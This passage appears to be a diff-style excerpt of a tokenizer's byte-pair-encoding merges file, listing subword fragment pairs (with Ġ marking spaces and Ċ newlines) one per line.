ĠĠĠĠĠĠĠĠĠĠĠ +am ework +g o +Ġl ow +Ġpar a +Ġpr ice +ur y +Ġto day +ro y +Ġ' / +Ġpol it +Ġ' ' +ym b +P h +Ġad v +Ġatt ack +ĠS te +RO M +an a +Ġme ans +Ġst ory +id s +ak en +Ġme et +Ġm om +ĠâĢ ĺ +Ġ? > +Ġd en +ob ile +ch ange +ĠĠĠĠĠĠĠĠ ĠĠĠĠĊ +ic i +n a +ĠF orm +Ġs ort +Se lect +p are +Ġth ought +_ con +Ġt ask +oc us +ĠD E +ĠM in +Ġo pt +ĉb reak +um er +K E +th en +Ġd et +ĠT est +port s +Ġre view +(' / +m ove +Ġsw itch +ER T +p atch +ann ot +ã Ĥ +Ġab ove +it ive +Ġquest ion +ĠQ u +ãĢĤ ĊĊ +g le +Ġw ord +Ġprov ide +ĠR eturn +Ġre search +ã o +u str +Ġp ublish +chem a +} } +ĠC ON +- in +all back +Ġco ver +\ \ +c olor +ĠI S +Ġwh ether +im ate +is c +B ar +Ġd iv +B e +our n +Ġh aving +le m +pl ayer +ab s +am era +ne y +Ġex c +get her +pl ied +a o +[ $ +Ġ+ + +i pe +sh ow +/ d +[ : +ag ement +le v +_ ID +r ary +ad es +_ se +a use +Ġem ploy +Ġ*/ čĊ +Ġf re +Ġ' @ +Ġcomple t +Ġl arge +r al +\ x +Ġf ac +< String +Ġcre ated +up er +.st ate +Ġh ost +ener ic +/ b +( ! +wh ile +i as +B UG +Ġ );ĊĊ +Ġro le +Re g +ĠC olor +St art +Ġp orn +t op +Ġwe b +Ġde v +Ġde al +++ )Ċ +Int eger +pos ition +. on +Ġ( " +ä ¸ +Ġproble m +s v +Ġp ress +AB LE +AT ION +ĠSe e +an ch +Ġth ough +le ep +Ġ< !-- +Ġpoint s +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠ +. J +Ġ :: +p tr +D B +++ ;Ċ +.p ng +n ode +so ft +pon d +Ġe ver +-------------------------------- -------------------------------- +M enu +(' # +Ġs ervices +p g +} )Ċ +param s +Ġact ually +Ġ" / +Em pty +M ethod +Ġid ent +un ic +Ġmill ion +Ġa ff +st yle +Ġcon c +i os +ign ment +UL T +P r +" ;čĊ +Ġunder stand +u ary +Ġhapp en +Ġser ver +ĠC o +S C +Ġle s +Ġfile s +G rid +s ql +Ġof ten +Ġin fo +_ tr +s rc +on y +Ġsp ace +um b +Ġpass word +Ġst ore +, ĊĊ +ĠWh at +g ed +ĠF alse +U s +sw er +_ index +Ġform at +m ost +s m +N ew +Ġd etails +Ġpro b +ĠAN D +() čĊ +il ar +Ġ$ { +ry pt +.C ollections +$ this +ĠF ree +_ of +(f alse +d ated +Ġ> > +Ġf ace +CT ION +Ġs ave +Ġt yp +de v +(" # +AG E +cont ainer +ed it +Q L +Ġitem s +Ġs ocial +i en +ĠRe act +) .ĊĊ +Ġm ar +Ġre du +ĠR E +.p ut +Ġm ajor +C ell +n ext +Ġexpect ed +Ġy et +Ġin div +trib utes +at is +am ed +Ġf ood +S ource +( string +Ġ+ Ċ +it es +d r +Ġmem bers +Ġcom b +item s +ĠP er +T H += True +Ġb ar +_ SE +com m +( w +)ĊĊ Ċ +Ġs end +Ġin c +un signed +F A +Ġparam s +app ing +ro s +ug in +f a +Ġcon nection +Ġ} ;ĊĊ +Ġbe come +M ode +Ġe v +Ġdif f +ĠUn ited +He ight +ful ly +im ages +Ġm akes +Ġg lobal +Ġcont act +' :Ċ +Ġab s +а Ð +f loat +Ġex cept +ĠP ol +Ch ild +t yp +Ġcert ain +i ón +O UT +Ġim pro +ile s +Ġ-- >Ċ +ĠP art +val ues +os s +/ ** +il it +ĠE vent +cur ity +st er +Ġchar acter +Ġnew s +Ġ" , +Ġde vice +c el +log in +he et +Def ault +@ " +ĉ Ġ +c lick +( value +ĠA b +Ġpre vious +ERR OR +oc al +Ġm aterial +Ġbel ow +ĠCh rist +Ġmed ia +co ver +ĠU I +Ġf ail +Ġbl ack +Ġcom ponent +ĠAmeric an +Ġadd ed +Ġbu y +st it +Ġc ame +Ġde lete +prop erty +od ing +Ġc ard +rop s +Ġhttp s +Ġro ot +Ġhand le +C C +B ack +em plate +Ġget ting +_b y +m ail +_s h +. assert +ĠD ec +( true +Ġcom put +Ġcl aim +' => +ĠS ub +Ġa ir +op s +n av +em ents +( id +Ġent er +ang ed +E nd +Ġloc ation +Ġn ight +Ġdo ing +ĠR ed +l in +}ĊĊ Ċ +vid er +Ġp ick +Ġw atch +ess ages +Ġhum an +Ġd am +p end +d ir +Ġt ax +Ġg irl +re et +Ġbo x +Ġstr ong +( v +re l +Ġinter face +Ġm sg +f ect +_ at +Ġh ouse +Ġtr ack +' );ĊĊ +j e +ĠJ ohn +ist r +( S +ub e +Ġc e +itt ed +V ER +* ) +p arent +Ġapp lication +an y +.sw ing +Ġp ack +\ u +Ġpr act +Ġse ction +ct x +Ġun signed +.P oint +ĠO ne +Ä ± +ip le +a id +Ñ ĥ +V ector +by te +Ġw ait +Ġà ł +à ¥ +Ġto gether +Ġth rows +F O +' )) +h ost +is ing +. view +Ġter ms +fr amework +- r +Ġapp ly +Ġs ession +O ptions +ugg est +Ġo thers +w itter +Ġf und +In it +__ ( +ens or +G ET +Ġsever al +i i +[ j +I O +Ġtem plate +P osition +Ġe con +ach ine +Ġ il +.s pring +m ain +el t +im ent +Re c +m m +ĠUn iversity +urs or +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠ +G L +ict ure +ith ub +c er +c ast +F rom +a les +Ġsub ject +p assword +n y +Ġes c +.w rite +ï¼ Į +Wh at +. H +Ġh istory +ĠF e +Ġindiv idual +un it +Ġ-- > +Ġd u +I ST +Ġus ers +f s +f alse +un t +T itle +Ġm ot +Ġf uture +ach ed +Ġstart ed +Ġm ode +Ġ' < +_ array +Ġa x +'] ;Ċ +i res +Th ere +ug ht +t ml +pos ed +ic ult +Ġto ok +Ġg ames +Ġ} } +Ġ? >Ċ +Ġproduct s +I s +Ġb ad +ĠD es +.p ath +' ĊĊ +ĠP ost +av el +( : +Ġneed s +Ġkn own +F l +Ġex ec +Ġse en +um e +Ġb order +Ġl ive +tem p +P er +Ġvar iable +i et +ĠD ef +Ġg e +em e +_b ack +f irst +Ġprovid ed +//////////////// //////////////// +Ġfil ename +Ġh ope +ul y +a uto +f ind +_ string +b tn +it ude +At tribute +Ġyou ng +.t xt +Ġwe bsite +ĠP rop +Ġe y +> ();Ċ +ion al +AR R +iction ary +ur ther +. +t x +Ġp ur +u el +ymb ol +u ation +ang er +Ġback ground +ec ess +ef ined +.... .... +Ġdes cription +Ġrep resent +") );Ċ +press ion +row ser +Ġser ies +ward s +($ _ +a ise +Ġh ot +ac ity +ri es +action s +C reate +ad io +amp les +Ġorig inal +ens ive +f ont +st ream + using +.spring framework +ser ver +Ġb ill +AC K +il ename +Ġfr ame +Ġ= Ċ +Ed it +adi us +Ġd raw +ank s +Ġd eter +Ġcom es +_ int +Ġfore ach +ang le +Ġe lect +pect ed +He ader +ist ration +F alse +ĠG ame +Ġfil ter +Act ivity +Ġl arg +in ition +Ġ" < +is ed +Ġrem ove +ĠTr ans +m et +se e +Form at +Com mand +ĠE X +N one +Ġfr ont +A SE +ĠR ec +ound ation +Ġv o += \" +( * +Ch ange +.W rite +g roup +i ents +u y +******************************** ******************************** +Ġd ig +h r +( - +Ġg en +n umber +ve c +uro pe +ent ry +L L +Ġst e +Val id +'] , +_p aram +Ġse lected +Ġacc ording +ĠD is +Ġ util +B uffer +_ error +Ġass oci +_S IZE +Ġw or +Ġprint f +r ag + ł +D D +ĠV al +Ġact iv +E ng +et ime +Ġv irtual +a ign +a ur +ĠP res +ĠEx ception +Ġany thing +ĠO ff +Ġh ours +Ġw ar +Arg s +ag ing +Ġmodel s +ĠT ime +O b +am s +j oy +Ġear ly +. read +Ġc enter +ĠIn itial +Ġl anguage +l ength +x y +Ġs n +Ġin f +P ost +Ġag o +Ġeas y +_c ode +ĠAN Y +_ ch +Ġdown load +( T +av ed +âĢ ĵ +Ġstud ents +Ġf ig +l ight +x x +Ġbu ffer +ĠD ep +ĠM ath +IT H +Ġvar i +Ġd ue +F actory +Ġp or +Ġe p +ot ype +Ġcan not +Ġwh ite +< int +ter n +Ġreg ister +Ġpre d +cl us +_d ate +Ġ/ ** +Ġa uth +Ġ[ ]Ċ +Ġper iod +n own +Ġv ot +Ġs creen +' d +T ypes +Ġt mp +е Ð +ur al +Ġben ef +_ y +Ġn et +ĠSt ates +'] [' +ĠN e +ĠN OT +Ġn eg +Ġcomm on +s cope +Ġc red +g es +_T YPE +Ġs uggest +o om +.ĊĊ Ċ +Ġac cept +Ġr andom +er m +ĠV ector +w ith +T ER +( str +Ġres pons +Ġh it +.S et +gr id +ri a +Ġc lick +und le +C ase +ins ert +Util s +Ġ"" " +Ġim plement +at al +tem pt +tem plate +oc r +return s +Ġplay ers +us ers +ed ef +ĠTh ese +Ġam ong +Ġde b +h a +.get Element +Ġc irc +Ġan swer +Ġw alk +Ġt reat +ĠG e +ĠC reate +Ġa ge +Ġre q +O ST +ang ular +Ñ ı +Ġf ive +Ġdistrib uted +Ġfri end +T P +Ġc lean +ow s +.Control s +d is +Ġw ords +. io +z y +Ġhe ader +ĠC heck +âĢĻ m +j ust +h older +=" čĊ +. annot +Ġcol lection +' . +Ġsim ilar +Ġt aken +(" % +Or der +'] Ċ +-m d +ĠT H +ac ed +Ġis n +/ j +Ġs on +gr aph +ĠInt eger +Ġn ecess +re en +Ġ um +Ġ\ < +Ġmom ent +Ġbr ing +Ġind ic +ys is +Le vel +ver se +urre nc +_t est +Ġent ire +D own +Ġ}ĊĊ Ċ +( result +ĠRe ad +à ¨ +M od +Ġtry ing +") ,Ċ +Ġm ember +ĠC or +OD O +- control +un time +ĠS im +D ialog +pl ot +_ on +Ġph ys +} / +Ġn amespace +ĉ čĊ +ac c +Pl ayer +A RE +Ġf oot +Ġbo ard +p art +Ġs us +w ise +ĠM c +Ġp ush +AT A +Ġp lease +ri ed +we et +b it +id ed +V E +ĠS w +U B +Ġt ypes +ed ia +Ġc los +ace book +Wh en +Ġed it +ig ger +Ġen erg +Cont ainer +Ġph ot +ĠC ount +ĠE urope +.I s +ĠR uss +pe ed +ĠS tr +Ġp y +Ġc ult +Ġdef ined +cc ount +Ġob t +.L ocation +Ġth read +il le +Ġinst ead +str ong +ĠS ec +U RE +Ġide a +. se +em y +select ed +Con nection +ac ing +th read +.n ext +Ġc oll +Ġfil m +ist ic +Ġcomp et +Ġcon n +th ough +Ġcom pan +ock et +Ġte ach += ( +Ġph one +Ġact ive +de lete +tr ies +Ġm o +Ġde ath +} );ĊĊ +oc ol +W idget +Ġart icle +ro du +and id +Ñ ĭ +ĠC r +k a +() : +lo od +ĉĉĉ Ċ +Ġal most +Ġs ell +erv let +ri p +Un it +Ġapp lic +Ġcon nect +Ġfe ature +Ġv ia +' ), +Ġl im +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ĠG u +Eng ine +Ġen s +Ġen vironment +b lock +HER E +N ULL +g y +t ag +) ). +ex p +Ġcom pl +Ġinst all +Ġcomple te +que ue +atur al +Ġgener al +th on +Ġask ed +o res +( res +Ġres erved +S P +ĠâĢ ¦ +Å Ĥ +Ġsign ific +O ff +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠ +ĠA g +ĠJ ust +ĠE rror +Ġin fl +ad ata +Ġ icon +ask s +' ' +_ LO +? . +ac count +Ġ( * +' )ĊĊ +r ap +_ var +ĠF OR +Ġpart y +ĠY our +c at +str y +. new +bo ot +ĠN ov +Ġv ector +Ġn ormal +Ġf urther +Re pository +Ġd atabase +att le +Ġmus ic +Ġspe ed +Ġd oc +pro cess +IG HT +.p arse +Ġt aking +Ġvi ol +ce ed +ĠA fter +Ġfor ward +Ġc rit +"/ >Ċ +ro t +Ġfa iled +ef ore +Ġconc ern +o e +b a +Ġs ender +Ġter m +h as +=" # +Ġpot ential +N um +Ġpublish ed +.c lose +ĠIm age +str aint +U D +ĠO b +Ġprob ably +l im +" :Ċ +olum e +Ġcon sum +ag ue +ens ions +Ġinvest ig +- year +') ; +-s m +Ġen joy +or ig +er ing +c p +le ased +ple ments +Ġreturn s +p at +B O +ĠH ouse +.L abel +Ġwe ight +igh b +Ġcondition s +Ġex ception +d escription +Ġtr ad +- to +Ġ{ } +Ġmod ule +EN D +. ap +.p rops +Ġcon structor +av es +Ġf avor +ĠN ow +; i +ĠM ain +_ k +er ies +âĢĻ ll +trans form +imest amp +P re +Ġm er +. res +st ant +L ocation +_N AME +Ġlos s +Ġ ĊĊ +n et +Ġeng ine +B lock +Ġiss ues +Ġpar se +ĠB ar +Ġst ay +ĠJ SON +Ġd om +air s +w ner +Ġl ower +", čĊ +ĠD em +uf act +Ġp s +Ġper fect +R L +Ġed uc +l s +em ory +ARR ANT +u ge +Ġex act +. key +al led +e ch +ie f +\ / +o ke +Ġfor mer +al loc +Ġs ix +id a +Ġm argin +Ġhe art +al d +p ack +.getElement ById +ĠW ARRANT +Ġr ather +Ġbuild ing +er man +lic e +Ġquest ions +iz es +le ge +irect ory +Ġj e +Ġc as +pro ps +ut f +Ġse curity +Ġhow ever +we ight +Ġins ide +Ġpres ident +Ch ar +ĠW ITH +.m ap +Ġgr aph +Ġt ag +_st atus +Ġat tempt +op p +us es +ĉ const +Ġr ound +, $ +Ġfri ends +Em ail +? > +Res ource +KE Y +os p +. query +ĠN orth +able s +ist rib +_c lass +el lo +Th at +Ð º +pecial ly +ĠPres ident +Ġcamp aign +Ġal t +are a +Ġch all +Ġop port +.C on +Ġenerg y +li ke +. string +ing ton +) * +y y +Ġprof ession +ir th +Ġse g +æ ľ +Ġh or +i ers +c an +Ġbeh ind +Pro duct +f g +ĠS k +.j pg +? : +] ;ĊĊ +Ġcall back +ĠH ttp +Ñ Į +l ong +M S +AT H +Ġr aise +Ġwant ed +row n +ut or +l t +] = +el ine +M A +Ġse par +c s +se mb +D is +bs erv +ĠW ill +Ġpol icy +Ġth ird +ph one +Ġb ed +/ g +. __ +ĠIn c +iz ing +.re move +in stance +.t ype +Ġs erv +E ach +Ġh ar +ĠM essage +( key +SE LECT +P os +)) ;čĊ +Ġre comm +Ġtr aining +ĠE nt +ĠCh ar +ic ht +(f ile +Ġp rior +G ame +Ġex it +Param s +.c ore +P C +n es +anc ed +( request +P assword +} >Ċ +Ġm ag +Ġre lease +Ġsh all +ud ent +ĠS outh +and o +: ' +.Tab Index +s k +ann er +is set +Ġout side +led ge +Ġ å +ĠR ob +Ġim m +! Ċ +ĠWe b +D es +B C +anc ial +R oute +D ec +fer ences +Ġp urch +ĠM odel +ct or +g n +_st art +_ un +. * +is es +Ġg round +Ġun ique +Ġbe aut +{ " +Ġp our +ĠO ct +Ġt ree +set s +_ res +') -> +_re g +(" \ +Ġby te +B l +Ġd ating +Ġm atter +ĠR em +Ġ' ../ +ĠA ug +ĠL a +Ġ$ ( +ourn al +i am +Ġshow s +w rite +Ġb all +Ġsim ply +Ġf ast +Ġmem ory +A SS +ĠO f +ov ed +ant e +a ul +ist ry +)) );Ċ +Ġf it +< string +Ġpolit ical +anc el +_ . +c ard +.c urrent +o ch +_ image +\ t +# Ċ +( L +Ġindu stry +com ing +Ġex tra +Ġreport ed +.st art +Ġres ources +Ġim g +fl ow +_E X +(n ull +ĠP re +Ġwr ong +inter face +Param eter +n ers +á » +t ure +ers ist +oun try +Ġseem s +al ance +de st +ĉ String +Ġm aint +Ġun it +act ers +ĠT R +if ul +export s +pro ject +App lication +leg ate +Ġt akes +ter m +Ġet c +ust er +Ġappe ar +add ress +Ġf em +h s +Ġh om +, - +Ġdiff icult +Ġcom ing +O pen +Ġset tings +ĠW ar +ĠTh en +Ġaut om +ĠF oundation +Ġqu ite +D escription +Ġb log +i qu +P S +_f ield +J son +SS ION +ĠS ch +ĠL O +Ġdes cri +Ġevery one +Ġpret ty +Ġlong er +Ġm enu +Ġcurrent ly +se c +Ġrelations hip +################ ################ +ĠM ap +as et +Ġparam eters +Ġcr ush +" čĊ +IL ITY +ig ration +Ġc out +t otal +Ġn ames +nd ef +") ; +ri end +yn amic +Ġeff ort +Ġact ual +Ġfield s +O UN +t ers +Ġf ix +_m odel +Ġc ases +C A +M y +Inter face +ĠS E +] ] +al le +ĠN ational +ĠArray List +in line +. V +ar a +ref ix +as c +Re ader +ĠÐ ¿ +ast ic +( () +C l +.annot ation +Ġperform ance +ail y +.to String +.n et +view s +. end +ay ers +l ate +ĠA pr +ed eral +'] ) +.b ody +Ġhigh er +_f l +c r +al ert +_n ode +ĠG oogle +Ġit self +A uth +urrenc y +Ġsignific ant +app end +Ġres pect +str ap +Ġun a +riter ia +P ORT +.ap ache +Out put +Ġpro gress +Ġm id +ĠM icrosoft +Ġres ource +ab lish +Ġd im +. load +.A pp +Ġd irection +Ġadd itional +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠ +Ġnum bers +Ġcompan ies +.T h +Ġs ound +user name +Ġstat ement +Ġal ert +Ġcon tract +h ome +_l ength +.Com ponent +e v +. Ex +ï¼ ļ +" ; +ĠH igh +Ġ )ĊĊ +ĠP oint +op h +Ġl ines +-> _ +" )ĊĊ +o x +app lication +Ġ ]Ċ +ĊĊĊĊ ĊĊ +Ġso on +ction s +ing er +Ġj oin +ĠP e +Ġ ë +Ġl as +. E +c ss +/ or +ĠSt art +ĠT O +Ġsub s +con n +com ponents +DE BUG +qu are +F unction +end ar +. index +Ġf ill +Ä Ļ +Ġcho ose +h ow +ĠAmeric a +ass ets +-------- ---- +ĠV alue +Ġoff ice +Ġv eh +Ġtrans form +ĠAr t +Ġin de +Ġf n +Ġim plements +ang o +ple te ++ " +t mp +am ily +Ġhas h +miss ions +E ST +g t +Pro vider +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠ +Ġfl ag +Ġpartic ip +d en +ĠReturn s +Ġnot e +ü r +p m +ide os +Ġspec ified +ĠE N +est er +ol id +Ġup on +( std +ĉ v +Ġ' \ +u z +Ġv ert +Ġv ict +ĉ self +Ġ" $ +. k +Ġgroup s +g ithub +l ang +Ġm ut +T O +Ġv e +ĠP lease +;ĊĊ Ċ +ac cess +Ġ{ " +re a +Ġr isk +ick er +og gle +ĉ while +AN G +.s end +Ġwom an +Ġget s +Ġ ign +ĠI d +_ log +ON E +Ġe vid +ĠH ar +_s ub +Ġend l +Ġinclud ed +() );ĊĊ +ĠA p +ig r +Ġs em +ĠBl ack +d oc +_t able +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +- up +Ġca use +Ġ .. +Ġv an +_d ict +Ġf ocus +IN D +CE SS +.L og +Ġmult iple +id o +Ġreg ard +- M +and ler +our se +Ġde g +. U +Ġadd ition +Ġvar ious +Ġrece ive +е н +ĠH T +Ob j +D F +Ġincre ase +ĠO pen +] ; +Ġcomm it +? Ċ +ateg ories +at ory +sh ip +ĠM ich +Ġh tml +rom ise +Ġle ave +Ġstr ateg +av en +ĠCon sole +k nown +- n +_ LE +.com ponent +Ġb re +S ession +i ance +Ġal ign +typ edef +_ result +ĠW HERE +.s plit +Ġread ing +FA ULT +Ġc lo +Ġnot ice +_p r +ar ter +Ġlo ck +Ġstand ard +et ic +ell ow +Ġp adding +ĠH is +Ġst ates +_c ast +( P +a a +Ġintern al +e an +ĠP RO +ĠK ey +Ġes pecially +m ing +Ġc ross +Ġn ational +_ object +f ilter +Ġs cript +. update +_ i +ĠAss ert +/ core +%% %% +Ġproble ms +ist or +Ġ. = +Ġar ch +Ġwrit ten +Ġm ilit +M ENT +. ch +ca pe +ĠM us +_ config +ĠA PI +fo ot +Ġim ages +end l +. In +F irst +Ġpl atform +.pro t +O ption +st e +ĠT ODO +Ġfor ce +. cont +ĉ echo +ĠD av +P tr +( B +R T +ĠB ase +] [' +Ġann ounc +con sole +ĠP y +d s +. as +Ġpre vent +ap an +Ġ{ ' +} ' +Ġde ad +V AL +Q UE +**************************************************************** ******** +Ġch arg +R eturn +Ġf ul +d om +Ġr ules +Ġmod ify +Ġe val +h am +at ement +\ < +ul a += False +R A +Ġcont ains +Ġst ack +m ar +Ġ{ }Ċ +Ġund efined +A ss +ĠCh ina +ve y +* Ċ +Ġplay ing +) / +act or +Ġb ottom +li er +ĠN umber +Ġcou ple +D C +ĠS O +g or +.set Text +s uccess +com mand +F ilter +ĠO ur +_ item +Ġc tx +Ġro ad +V ersion +c ase +ur t +av ior +y ch +semb ly +ĠPro duct +Ġh eld +a fe +Ġinclud es +< quote +Ġa void +ĠF in +ĠM od +Ġt ab +an o +à ± +ipp ing +- e +Ġins ert +t arget +ch an +.M odel +IM E +\ Ċ +Ġm achine +av y +ĠN O +ĠInt er +Ġoper ation +mod al +T ag +] : +Ġprodu ction +Ġare as +Ġre n +_f rom +n bsp +Ġoper ator +m en +app ed +_p er +z en +(" . +.s ave +=" {{ +Ġt or +( response +Ġc andid +Ġcon v +a iled +ĠL ib +com p +ur a +ï¿ ½ +ĠH ere +Ġarg ument +h ood +Ġest ablish +ograph y +Ġon Click +amb da +Ġs ch +Ġmov ie +Ġse c +Ġact ivity +Ø § +Ġs ql +_ all +inc ip +Ġprovid es +Ġs ys +ack et +Ġwas n +Ġus es +ĠF unction +.g oogle +ĠRes ult +Vis ible +ag ma +el come +ĠS y +ĠC ent +AL SE +ac ión +EX T +Ġl icense +ĠL ong +Ġacc om +Ġab ility +. height +Act ive +olog ical +ol y +)) , +.S e +Ġparam eter +pr ite +AB ILITY +.s ervice +ĠG roup +_ query +ĠI tem +in ing +Ġj ud +im s +f ix +ind er +ag ram +Ġfunction s +Ġexper i +ĠE m +Ġro t +Ġp en +.b tn +ĠA S +#if def +Ġcho ice +ĠP age +_P RO +Q U +å ı +ant ity +Â Ń +word s +Ġread only +Ġf lex +prot ected +ĠAn y +Ġchar acters +enc ed +ĠJ uly +il er +C ard +ur ance +Ġre v +.e vent +al y +Ġwon der +ĠP ort +Ġleg al +ro le +Ġt en +Ġgo es +M P +wh ite +): čĊ +)) čĊ +Ġre ference +Ġm is +ĠPro ject +ick s +> & +C ON +Ġre pl +Ġreg ular +St orage +ram ework +Ġgo al +Ġt ouch +.w idget +Ġbu ilt +d es +P art +( re +Ġw orth +h ib +g ame +ĠÐ ² +ac ion +ĠWh ite +(t ype +( ` +Ġn atural +Ġin j +Ġcal cul +ĠApr il +. List +Ġassoci ated +ĉ System +~ ~ += [ +Ġst orage +Ġby tes +Ġtr avel +Ġs ou +Ġpass ed +! = +as cript +. open +Ġgr id +Ġb us +Ġrec ogn +A b +Ġh on +ĠC enter +Ġpre c +b uild +HT ML +ĠS an +Ġcoun tries +a led +t oken +k t +Ġqu al +L ast +ad ow +Ġman ufact +id ad +j ango +N ext +x f +. a +Ġporn o +ĠP M +er ve +it ing +_ th +c i += None +g s +Ġlog in +at ives +'] );Ċ +Ä ħ +Ġ ill +I A +child ren +D O +Ġlevel s +Ġ{ { +Ġlook s +Ġ" # +To String +Ġnecess ary +ĠĠĠ Ċ +c ell +En try +Ġ' # +Ġext rem +Select or +Ġplace holder +L oad +Ġre leased +O RE +En umer +ĠT V +SE T +in q +P ress +ĠDep artment +Ġprop erties +Ġres pond +S earch +a el +Ġre qu +ĠB ook +/ Ċ +( st +Ġfin ancial +ick et +_in put +Ġth reat +( in +Str ip +ì Ŀ +ç ão +Ġevid ence +)) ; +ĠB ro +Ġ[ ];Ċ +Ġ ou +b uf +S cript +d at +Ġr ule +# import +=" / +S erial +Ġstart ing +[ index +a e +Ġcon trib +s ession +_ new +ut able +o ber +Ġ" ./ +Ġlog ger +Ġrecent ly +Ġreturn ed +č čĊ +)) )Ċ +ition s +Ġse ek +Ġcomm unic +Ġ" . +Ġuser name +E CT +D S +Ġother wise +ĠG erman +. aw +Ad apter +ix el +Ġsystem s +Ġd rop +Ġstruct ure +Ġ$ ("# +enc ies +ann ing +ĠL ink +ĠRes ponse +Ġst ri +Å ¼ +ĠD B +æ Ĺ +and roid +sub mit +ot ion +( @ +.t est +ĊĊĊĊ ĊĊĊĊ +] ;čĊ +Ġdirect ly +Ġ" % +r is +el ta +A IL +) {čĊ +m ine +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠ +( k +b on +as ic +p ite +__ _ +M ax +Ġerror s +ĠWh ile +Ġarg uments +Ġens ure +R ight +-b ased +We b +Ġ- = +Ġint rodu +ĠIn st +ĠW ash +ord in +j oin +D atabase +Ġgr ad +Ġus ually +IT E +Prop s +? >Ċ +ĠG o +@ Override +RE F +Ġ ip +ĠA ustral +Ġ ist +View ById +Ġser ious +Ġcustom er +.prot otype +od o +c or +Ġdo or +ĠWITH OUT +Ġpl ant +Ġbeg an +Ġdist ance +() ). +Ġch ance +Ġor d +c ame +pr agma +Ġprot ect +rag ment +ĠN ode +en ing +Ñ ĩ +Ġr oute +ĠS chool +h i +Ġne ighb +A fter +lic it +Ġcon tr +Ġpr imary +A A +.Write Line +util s +Ġb i +R ed +.L inq +. object +Ġlead ers +un ities +Ġg un +on th +ĠDe v +F ILE +Ġcom ments +_l en +ar row +am ount +R ange +s ert +Grid View +Ġup dated +ĠM o +Ġin form +oci ety +al a +A ccess +Ġh ab +Ġc reat +_ arg +ĠJan uary +ĠD ay +") čĊ +up le +d ocument +gor ith +m enu +ĠO ver +b b +.t itle +_ out +Ġle d +ur i +Ġ? >Ċ +r un +Ġsc ene +( array +de vice +_t itle +ag on +] čĊ +ab y +Ġbe came +bo olean +Ġp ark +ĠC ode +up load +rid ay +ĠSept ember +F e +Ġs en +c ing +F L +C ol +ut s +_p age +in n +Ġim plied +al ing +Ġyour self +.C ount +con f +Ġa ud +_in it +. ) +Ġw rote +N G +. Error +ä » +.f or +Ġe qual +ĠRe quest +Ġser ial +Ġallow s +X X +Ġm iddle +ch or +à ¸ +erv al +.C olumn +read ing +Ġesc ort +ĠAug ust +Ġquick ly +Ġwe ap +ĠC G +rop ri +h o +Ġc op +( struct +ĠB ig +Ġv s +Ġfre qu +. Value +Ġaction s +Ġpro per +Ġin n +Ġobject s +Ġm atrix +av ascript +Ġon es +.g roup +Ġgre en +Ġp aint +ool s +y cl +enc ode +ol t +com ment +. api +D ir +Ġun e +iz ont +.p osition +Ġdes igned +_ val +av i +ir ing +t ab +Ġl ayer +Ġview s +Ġre ve +ra el +ĠO N +r ics +n p +Ġc ore +() );čĊ +M ain +Ġexp ert +ĉĉ čĊ +_ en +Ġ/ > +ut ter +I AL +ail s +ĠK ing +*/ ĊĊ +ĠM et +_ end +add r +or a +Ġ ir +M in +Ġsur pr +Ġre pe +Ġdirect ory +P UT +- S +Ġe lection +h aps +.p re +c m +Val ues +Ġ" Ċ +c olumn +iv il +Log in +in ue +Ġbeaut iful +Ġse cret +(e vent +Ġch at +um s +Ġorig in +Ġeffect s +Ġman agement +ill a +t k +Ġset ting +ĠC our +Ġmass age +ĉ end +Ġhapp y +Ġfin ish +Ġc amera +ĠV er +ĠDem ocr +ĠH er +( Q +con s +it a +Ġ' . +{ } +ĉ C +Ġst uff +Ġ :Ċ +ĠA R +T ask +h idden +er os +IG N +at io +ĠHe alth +ol ute +Ent er +' > +ĠT witter +ĠCount y +s cribe +Ġ= >Ċ +Ġh y +f it +Ġmilit ary +Ġsa le +re quired +n on +boot strap +h old +r im +- old +ĠD own +Ġm ention +cont act +_g roup +od ay +Ġto wn +Ġsol ution +u ate +ell ing +] -> +ot es +ent al +om en +osp ital +ĠS up +_ EN +Ġsl ow +SE SSION +Ġbl ue +ag o +Ġl ives +Ġ ^ +. un +in st +en ge +Ġcustom ers +Ġc ast +ud get +ï¼ ģ +ic ens +Ġdeter min +Se lected +_ pl +ue ue +Ġd ark +// ĊĊ +s i +ther n +ĠJ apan +/ w +P U +ĠE ast +ov ie +Ġp ackage +Ġn or +Ġap i +b ot +" ];Ċ +_p ost +ul ate +Ġcl ub +') );Ċ +Ġlo op +PI O +ion e +sh ot +In itial +Ġplay ed +reg ister +rou ght +_m ax +ac ement +m atch +raph ics +A ST +Ġexist ing +Ġcomple x +D A +.C h +.com mon +m o +Ġ' ../../ +it o +Ġanal ysis +Ġdel iver +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ċ +id x +à ł +ong o +ĠEng lish +< !-- +Ġcomput er +EN SE +Ġp as +Ġr ais +H ash +Ġm obile +Ġo wner +F IG +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +th es +Ġat tr +w d +.t ime +aw n +Ġtreat ment +ĠA c +. View +im pl +m ore +p ass +Ġh a +.f rom +Ġle ading +FF FF +( error +. ui +at ar +ad ers +d ates +Ġz u +Ġfl ow +T arget +Ġinvol ved +Ġi o +par se +$ _ +he st +. int +- item +as y +S p +Ġsh ift +N T +Ġt f +_T R +. web +C S +Ġ} ) +Ġey es +_ z +' );čĊ +if orn +Ġ{ @ +Ġn ice +.l ist +ĠĠĠĠ čĊ +Ġf loor +Ġred irect +ĠU K +( [' +Ġw ish +Ġcap t +leg al +ĠI O +Ġst age +. String +ĠA fr +ig en +ĠS H 